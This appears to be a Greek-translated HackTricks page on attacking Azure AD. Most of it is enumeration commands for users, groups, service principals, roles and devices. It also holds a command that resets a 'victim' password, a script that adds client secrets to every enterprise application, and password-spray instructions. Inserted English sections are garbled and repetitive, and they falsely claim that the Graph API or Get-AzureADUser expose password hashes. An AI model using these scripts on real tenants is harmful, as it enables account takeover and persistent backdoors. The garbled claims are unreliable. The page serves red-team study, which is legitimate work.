Az - AzureAD (AAD)

Az - AzureAD (AAD)

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Το Azure Active Directory (Azure AD) λειτουργεί ως η υπηρεσία της Microsoft βασισμένη στο cloud για τη διαχείριση ταυτότητας και πρόσβασης. Είναι ουσιώδες για τη δυνατότητα σύνδεσης και πρόσβασης των υπαλλήλων σε πόρους, εντός και εκτός του οργανισμού, περιλαμβάνοντας το Microsoft 365, το Azure portal και πολλές άλλες εφαρμογές SaaS. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτότητας, περιλαμβάνοντας κυρίως την πιστοποίηση, την εξουσιοδότηση και τη διαχείριση χρηστών.

Οι βασικές λειτουργίες του Azure AD περιλαμβάνουν τη διπλή πιστοποίηση και τη συνθήκη πρόσβασης, μαζί με την ομαλή ενσωμάτωση με άλλες υπηρεσίες ασφαλείας της Microsoft. Αυτές οι λειτουργίες αυξάνουν σημαντικά την ασφάλεια των ταυτοτήτων των χρηστών και επιτρέπουν στις οργανώσεις να εφαρμόσουν και να επιβάλουν αποτελεσματικά τις πολιτικές πρόσβασής τους. Ως ένα θεμελιώδες στοιχείο του οικοσυστήματος των cloud υπηρεσιών της Microsoft, το Azure AD είναι καθοριστικό για τη διαχείριση των ταυτοτήτων των χρηστών στο cloud.

Οντότητες

Απαρίθμηση

Για αυτήν την απαρίθμηση μπορείτε να χρησιμοποιήσετε το εργαλείο az cli, το PowerShell module AzureADAzureAD Preview) και το Az PowerShell module.

Στο Linux θα χρειαστεί να εγκαταστήσετε το PowerShell Core:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Διαφορές μεταξύ των Ενοτήτων

  • Το AzureAD είναι ένα PowerShell module από τη Microsoft για τη διαχείριση του Azure AD. Δεν εμφανίζει όλες τις ιδιότητες των αντικειμένων του Azure AD και δεν μπορεί να χρησιμοποιηθεί για την πρόσβαση σε πληροφορίες πόρων του Azure.

  • Το Az PowerShell είναι ένα module για τη διαχείριση των πόρων του Azure από τη γραμμή εντολών του PowerShell.

Σύνδεση

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Όταν συνδέεστε μέσω CLI στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια Azure Application από ένα tenant που ανήκει στη Microsoft. Αυτές οι εφαρμογές, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, έχουν έναν αναγνωριστικό πελάτη. Δεν θα μπορέσετε να δείτε όλες αυτές τις εφαρμογές στις λίστες επιτρεπόμενων εφαρμογών που βλέπετε στην κονσόλα, αλλά είναι επιτρεπόμενες από προεπιλογή.

Για παράδειγμα, ένα powershell script που πιστοποιείται χρησιμοποιεί μια εφαρμογή με αναγνωριστικό πελάτη 1950a258-227b-4e31-a9cf-717495945fc2. Ακόμα κι αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας συστημικός διαχειριστής μπορεί να αποκλείσει αυτήν την εφαρμογή έτσι ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της εφαρμογής.

Ωστόσο, υπάρχουν άλλα αναγνωριστικά πελατών εφαρμογών που θα σας επιτρέψουν να συνδεθείτε στο Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Χρήστες

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

Azure AD

# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }

Για να εκτελέσετε ενέργειες στο Azure AD χρησιμοποιώντας το Az PowerShell, πρέπει να εγκαταστήσετε το πακέτο Az και να συνδεθείτε στον λογαριασμό σας.

Εγκατάσταση του πακέτου Az

Για να εγκαταστήσετε το πακέτο Az, ακολουθήστε αυτά τα βήματα:

  1. Ανοίξτε το PowerShell.

  2. Εκτελέστε την εντολή Install-Module -Name Az -AllowClobber -Scope CurrentUser.

Σύνδεση στον λογαριασμό Azure AD

Για να συνδεθείτε στον λογαριασμό Azure AD, ακολουθήστε αυτά τα βήματα:

  1. Ανοίξτε το PowerShell.

  2. Εκτελέστε την εντολή Connect-AzAccount.

Θα σας ζητηθεί να συνδεθείτε με τα διαπιστευτήριά σας. Ακολουθήστε τις οδηγίες για να ολοκληρώσετε τη διαδικασία σύνδεσης.

Εκτέλεση εντολών Azure AD

Μετά τη σύνδεση στον λογαριασμό Azure AD, μπορείτε να εκτελέσετε εντολές για να διαχειριστείτε το Azure AD. Ορισμένες χρήσιμες εντολές περιλαμβάνουν:

  • Get-AzADUser: Επιστρέφει πληροφορίες για τους χρήστες του Azure AD.

  • Get-AzADGroup: Επιστρέφει πληροφορίες για τις ομάδες του Azure AD.

  • Get-AzADServicePrincipal: Επιστρέφει πληροφορίες για τους υπηρεσιακούς προσδιοριστές του Azure AD.

Αυτές είναι μόνο μερικές από τις εντολές που μπορείτε να χρησιμοποιήσετε για να εξερευνήσετε και να διαχειριστείτε το Azure AD χρησιμοποιώντας το Az PowerShell.

# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com

Αλλαγή κωδικού χρήστη

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

Πολιτικές MFA & Προσβασιμότητας με Συνθήκες

Συνιστάται ιδιαίτερα να προστεθεί η πολυπαραγοντική πιστοποίηση (MFA) σε κάθε χρήστη, ωστόσο, ορισμένες εταιρείες ενδέχεται να μην την ενεργοποιήσουν ή να την ενεργοποιήσουν με μια Προσβασιμότητα με Συνθήκες: Ο χρήστης θα απαιτείται να έχει MFA εάν συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή κάποια συνθήκη. Αυτές οι πολιτικές, εάν δεν έχουν διαμορφωθεί σωστά, μπορεί να είναι ευάλωτες σε παρακάμψεις. Ελέγξτε:

pageAz - Conditional Access Policies / MFA Bypass

Ομάδες

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Azure AD

# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }

Για να χρησιμοποιήσετε το Azure AD PowerShell module, πρέπει να εγκαταστήσετε το AzureAD module. Μπορείτε να το κάνετε αυτό με την εκτέλεση της παρακάτω εντολής:

Install-Module -Name AzureAD

Μετά την εγκατάσταση, μπορείτε να εισάγετε το module με την εκτέλεση της παρακάτω εντολής:

Import-Module AzureAD

Για να συνδεθείτε στο Azure AD, μπορείτε να χρησιμοποιήσετε την εντολή Connect-AzureAD. Θα σας ζητηθεί να παράσχετε τα διαπιστευτήριά σας (όνομα χρήστη και κωδικό πρόσβασης) για να συνδεθείτε επιτυχώς.

Connect-AzureAD

Αφού συνδεθείτε, μπορείτε να χρησιμοποιήσετε τις διαθέσιμες εντολές για να διαχειριστείτε το Azure AD.

# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>

Προσθήκη χρήστη σε ομάδα

Οι ιδιοκτήτες της ομάδας μπορούν να προσθέσουν νέους χρήστες στην ομάδα

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Οι ομάδες μπορούν να είναι δυναμικές, πράγμα που σημαίνει ότι αν ένας χρήστης πληροί ορισμένες συνθήκες, θα προστεθεί σε μια ομάδα. Φυσικά, αν οι συνθήκες βασίζονται σε χαρακτηριστικά που ένας χρήστης μπορεί να ελέγξει, μπορεί να καταχραστεί αυτήν τη δυνατότητα για να εισέλθει σε άλλες ομάδες. Ελέγξτε πώς να καταχραστείτε δυναμικές ομάδες στην ακόλουθη σελίδα:

pageAz - Dynamic Groups Privesc

Υπηρεσίες Πρωτοκόλλου / Επιχειρηματικές Εφαρμογές

Σημειώστε ότι το Service Principal στον όρολο PowerShell ονομάζεται Enterprise Applications στο Azure portal (web).

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

Azure AD

# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *

Για να εκτελέσετε ενέργειες στο Azure AD χρησιμοποιώντας το Az PowerShell, πρέπει να εγκαταστήσετε το πακέτο Az και να συνδεθείτε στον λογαριασμό σας.

Εγκατάσταση του πακέτου Az:

Install-Module -Name Az -AllowClobber -Scope CurrentUser

Σύνδεση στον λογαριασμό Azure AD:

Connect-AzAccount

Αφού συνδεθείτε, μπορείτε να εκτελέσετε ενέργειες όπως η λήψη πληροφοριών για τους χρήστες, οι ομάδες, οι εφαρμογές κ.λπ.

Παραδείγματα εντολών:

# Λήψη πληροφοριών για τους χρήστες
Get-AzADUser

# Λήψη πληροφοριών για τις ομάδες
Get-AzADGroup

# Λήψη πληροφοριών για τις εφαρμογές
Get-AzADApplication

Για περισσότερες εντολές και παραδείγματα, μπορείτε να ανατρέξετε στην τεκμηρίωση του Az PowerShell.

# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>

Azure AD

Enumeration

User Enumeration

To enumerate users in Azure AD, you can use the following methods:

Method 1: Azure AD Graph API

You can use the Azure AD Graph API to enumerate users. The API endpoint is https://graph.windows.net/{tenant_id}/users. You can make a GET request to this endpoint to retrieve a list of users.

Method 2: Microsoft Graph API

You can also use the Microsoft Graph API to enumerate users. The API endpoint is https://graph.microsoft.com/v1.0/users. You can make a GET request to this endpoint to retrieve a list of users.

Group Enumeration

To enumerate groups in Azure AD, you can use the following methods:

Method 1: Azure AD Graph API

You can use the Azure AD Graph API to enumerate groups. The API endpoint is https://graph.windows.net/{tenant_id}/groups. You can make a GET request to this endpoint to retrieve a list of groups.

Method 2: Microsoft Graph API

You can also use the Microsoft Graph API to enumerate groups. The API endpoint is https://graph.microsoft.com/v1.0/groups. You can make a GET request to this endpoint to retrieve a list of groups.

Exploitation

Password Spray Attack

A password spray attack is a type of brute-force attack where an attacker tries a small number of commonly used passwords against a large number of user accounts. This attack is effective because many users tend to use weak passwords.

To perform a password spray attack against Azure AD, you can use the following methods:

Method 1: Azure AD Graph API

You can use the Azure AD Graph API to perform a password spray attack. You can make a POST request to the https://graph.windows.net/{tenant_id}/oauth2/token endpoint with the following parameters:

  • grant_type: Set this to password

  • username: Set this to the target user's username

  • password: Set this to a password from the password spray list

If the request is successful, you will receive an access token that can be used to authenticate as the target user.

Method 2: Microsoft Graph API

You can also use the Microsoft Graph API to perform a password spray attack. You can make a POST request to the https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token endpoint with the following parameters:

  • grant_type: Set this to password

  • username: Set this to the target user's username

  • password: Set this to a password from the password spray list

If the request is successful, you will receive an access token that can be used to authenticate as the target user.

Token Impersonation

Token impersonation is a technique where an attacker obtains a valid access token for a user and uses it to impersonate that user. This can be used to gain unauthorized access to resources or perform actions on behalf of the user.

To perform token impersonation in Azure AD, you can use the following methods:

Method 1: Azure AD Graph API

You can use the Azure AD Graph API to perform token impersonation. You can make a POST request to the https://graph.windows.net/{tenant_id}/oauth2/token endpoint with the following parameters:

  • grant_type: Set this to password

  • username: Set this to the target user's username

  • password: Set this to the target user's password

If the request is successful, you will receive an access token that can be used to impersonate the target user.

Method 2: Microsoft Graph API

You can also use the Microsoft Graph API to perform token impersonation. You can make a POST request to the https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token endpoint with the following parameters:

  • grant_type: Set this to password

  • username: Set this to the target user's username

  • password: Set this to the target user's password

If the request is successful, you will receive an access token that can be used to impersonate the target user.

Prevention

To prevent attacks against Azure AD, you can take the following measures:

  • Enforce strong password policies and educate users about the importance of using unique and complex passwords.

  • Enable multi-factor authentication (MFA) to add an extra layer of security to user accounts.

  • Regularly monitor and review user and group permissions to ensure that they are appropriate and up to date.

  • Implement security controls such as conditional access policies to restrict access based on user and device conditions.

  • Regularly update and patch Azure AD and other related software to protect against known vulnerabilities.

References

$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

Ο Κάτοχος ενός Πρωτοκόλλου Υπηρεσίας μπορεί να αλλάξει τον κωδικό πρόσβασής του.

Λίστα και προσπάθεια προσθήκης ενός μυστικού πελάτη σε κάθε Επιχειρησιακή Εφαρμογή

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### Ρόλοι

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

Azure AD

# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *

Για να χρησιμοποιήσετε το Azure AD PowerShell module, πρέπει να εγκαταστήσετε το AzureAD module. Μπορείτε να το κάνετε αυτό με την εκτέλεση της παρακάτω εντολής:

Install-Module -Name AzureAD

Μετά την εγκατάσταση, μπορείτε να εισάγετε το module με την εκτέλεση της παρακάτω εντολής:

Import-Module AzureAD

Για να συνδεθείτε στο Azure AD, μπορείτε να χρησιμοποιήσετε την εντολή Connect-AzureAD. Θα σας ζητηθεί να παράσχετε τα διαπιστευτήριά σας (όνομα χρήστη και κωδικό πρόσβασης) για να συνδεθείτε επιτυχώς.

Connect-AzureAD

Αφού συνδεθείτε, μπορείτε να χρησιμοποιήσετε τις διαθέσιμες εντολές για να διαχειριστείτε το Azure AD.

# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>

Azure AD

Azure AD is a cloud-based identity and access management service provided by Microsoft. It allows organizations to manage user identities and control access to resources in the Azure cloud environment.

Enumeration

User Enumeration

To enumerate users in Azure AD, you can use the following methods:

  1. Azure AD Graph API: You can use the users endpoint of the Azure AD Graph API to retrieve a list of users in the directory. The API endpoint is https://graph.windows.net/{tenant_id}/users.

  2. Microsoft Graph API: You can use the users endpoint of the Microsoft Graph API to retrieve a list of users in the directory. The API endpoint is https://graph.microsoft.com/v1.0/users.

  3. Azure AD PowerShell Module: You can use the Get-AzureADUser cmdlet of the Azure AD PowerShell module to retrieve a list of users in the directory.

Group Enumeration

To enumerate groups in Azure AD, you can use the following methods:

  1. Azure AD Graph API: You can use the groups endpoint of the Azure AD Graph API to retrieve a list of groups in the directory. The API endpoint is https://graph.windows.net/{tenant_id}/groups.

  2. Microsoft Graph API: You can use the groups endpoint of the Microsoft Graph API to retrieve a list of groups in the directory. The API endpoint is https://graph.microsoft.com/v1.0/groups.

  3. Azure AD PowerShell Module: You can use the Get-AzureADGroup cmdlet of the Azure AD PowerShell module to retrieve a list of groups in the directory.

Exploitation

Password Spray Attack

A password spray attack is a type of brute-force attack where an attacker tries a small number of commonly used passwords against a large number of user accounts. This attack is often used to bypass account lockout policies that are triggered by a large number of failed login attempts.

To perform a password spray attack against Azure AD, you can use the following methods:

  1. Azure AD Graph API: You can use the passwordProfile property of the User object in the Azure AD Graph API to set a password for a user account. By trying a small number of commonly used passwords against a large number of user accounts, you can identify weak passwords that are used by multiple users.

  2. Microsoft Graph API: You can use the passwordProfile property of the User object in the Microsoft Graph API to set a password for a user account. By trying a small number of commonly used passwords against a large number of user accounts, you can identify weak passwords that are used by multiple users.

  3. Azure AD PowerShell Module: You can use the Set-AzureADUserPassword cmdlet of the Azure AD PowerShell module to set a password for a user account. By trying a small number of commonly used passwords against a large number of user accounts, you can identify weak passwords that are used by multiple users.

Password Hash Cracking

Password hash cracking is the process of recovering plain-text passwords from hashed password values. In Azure AD, user passwords are stored as password hashes, which are derived from the user's password using a one-way hash function.

To crack password hashes in Azure AD, you can use the following methods:

  1. Azure AD Graph API: You can use the passwordProfile property of the User object in the Azure AD Graph API to retrieve the password hash of a user account. By cracking the password hash, you can recover the plain-text password.

  2. Microsoft Graph API: You can use the passwordProfile property of the User object in the Microsoft Graph API to retrieve the password hash of a user account. By cracking the password hash, you can recover the plain-text password.

  3. Azure AD PowerShell Module: You can use the Get-AzureADUser cmdlet of the Azure AD PowerShell module to retrieve the password hash of a user account. By cracking the password hash, you can recover the plain-text password.

Mitigation

To mitigate the risks associated with Azure AD enumeration and exploitation, you can take the following steps:

  1. User Enumeration: Limit the visibility of user information by configuring appropriate access controls and permissions. Regularly review and remove unnecessary user accounts.

  2. Group Enumeration: Limit the visibility of group information by configuring appropriate access controls and permissions. Regularly review and remove unnecessary groups.

  3. Password Spray Attack: Enforce strong password policies and implement multi-factor authentication to protect against password spray attacks. Regularly monitor and analyze authentication logs for suspicious activity.

  4. Password Hash Cracking: Implement strong password hashing algorithms and regularly rotate password hashes to make password cracking more difficult. Regularly monitor and analyze authentication logs for suspicious activity.

By following these mitigation steps, you can enhance the security of your Azure AD environment and protect against enumeration and exploitation attacks.

# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

Συσκευές

# If you know how to do this send a PR!

Azure AD

# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
